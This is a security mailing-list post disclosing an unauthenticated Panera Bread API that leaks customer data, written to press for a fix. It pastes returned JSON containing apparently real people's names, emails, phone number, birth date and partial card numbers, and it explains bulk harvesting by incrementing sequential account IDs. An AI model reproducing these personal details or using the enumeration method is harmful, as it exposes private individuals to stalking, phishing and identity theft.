[FD] Massive Breach in Panera Bread

7682200f0cd27a4f1a3c2301941d959aae7abf89136c38a4f1ded4d2bb7a67d7 I'd like to report a security vulnerability in Panera Bread's web application. There is a publicly available, completely unauthenticated API endpoint that allows anyone to access the following information about anyone who has ever signed up for an account to order food from Panera Bread: 1. Username 2. First and last name 3. Email address 4. Phone number 5. Birthday 6. Last four digits of saved credit card number 7. Saved home address 8. Social account integration information 9. Saved user food preferences and dietary restrictions Here are the API endpoints which you can use to verify this information: 1. https://ift.tt/2JiF7Mj This returns the following JSON: {"accounts": [{"username":"denys","name":"romona ruiz","cardNumber":"********6515"},{"username":"mhmulcahy@hotmail.com","name":"Marie Mulcahy","cardNumber":"********5527"},{"username":"fenrny@msn.com","name":"F B","cardNumber":"********7921"},{"username":"sabooky1@yahoo.com","name":"C Davis","cardNumber":"********7108"},{"username":"jorgeialcalde","name":"Jorge Alcalde","cardNumber":"********6129"},{"username":"ktennister37@aol.com","name":"Kei Kino","cardNumber":"********6061"},{"username":"gettingbetter812@yahoo.com","name":"jan jones","cardNumber":"********8950"},{"username":"kennny","name":"kenny poteat","cardNumber":"********4412"},{"username":"angelo151","name":"angelo ianello","cardNumber":"********8386"},{"username":"dblaperch@aol.com","name":"Deborah LaPerch","cardNumber":"********5384"},{"username":"bagnoni1@optonline.net","name":"sadie bagnoni","cardNumber":"********5144"},{"username":"arsbreva@hotmail.com","name":"Marea needle","cardNumber":"********7488"},{"username":"contessa1234","name":"CONTESSA SLEDGE","cardNumber":"********6702"},{"username":"lindapam","name":"elizabeth forlenzo","cardNumber":"********7085"},{"username":"jue-95@hotmail.com","name":"juline G","cardNumber":"********4220"},{"username":"gleuanter","name":"Leo Zinder","cardNumber":"********9123"},{"username":"artlaura","name":"arthur hanson","cardNumber":"********8139"},{"username":"dlongua","name":"denise longua","cardNumber":"********0102"},{"username":"homestead19-86@msn.com","name":"Sandra Baglione","cardNumber":"********6851"},{"username":"kilsha22","name":"kicia fulchek","cardNumber":"********2654"}]} Note that you can look up usernames/email addresses for Panera Bread accounts if you know the target's phone number. This returns the username/email address and last four digits of the saved credit card of every user who has ever signed up with that phone number. 2. https://ift.tt/2q3dxtJ This returns the following JSON: {"customerId":7382194,"username":"abcascio@cox.net","firstName":"Anthony","lastName":"Cascio","loyalty":{"cardNumber":"603077990852"},"emails":[{"id":23860763,"emailAddress":"abcascio@cox.net","emailType":"Personal","isDefault":true,"isOpt":true,"isVerified":true}],"phones":[{"id":18295989,"phoneNumber":"7032662951","phoneType":"Residential","countryCode":"1","extension":null,"name":null,"isSmsOpt":false,"isCallOpt":false,"isDefault":true,"isValid":true,"smsPreferences":[{"programName":"Delivery","isOpt":false,"isOptPending":false}]}],"isSmsGlobalOpt":false,"isEmailGlobalOpt":true,"isMobilePushOpt":false,"birthDate":{"birthDay":"25","birthMonth":"05","birthYear":"1948"},"userPreferences":{"foodPreferences":[{"code":3,"displayName":"Low Fat"}],"gatherPreference":{"code":7,"displayName":"Meal with family"}},"subscriptions":{"subscriptions":[{"subscriptionCode":1,"displayName":"Reward Reminders & Expiration Alerts","isSubscribed":false,"tncVersion":null},{"subscriptionCode":2,"displayName":"Panera Bread Updates & Special Offers","isSubscribed":false,"tncVersion":null}],"suppressors":[{"suppressionCode":1,"displayName":"Catering","isSuppressed":false},{"suppressionCode":2,"displayName":"CPG","isSuppressed":false}]},"addresses":[],"paymentOptions":{"creditCards":[],"payPals":[],"giftCards":[],"corporateCateringAccounts":[]},"taxExemptions":null,"socialIntegration":null,"favoriteCafes":[]} In this context, "7382194" is the user's account ID. Panera Bread uses sequential integers for account IDs, which means that if your goal is to gather as much information as you can instead about someone, you can simply increment through the accounts and collect as much as you'd like, up to and including the entire database. Hopefully they'll fix this if it gets enough attention.

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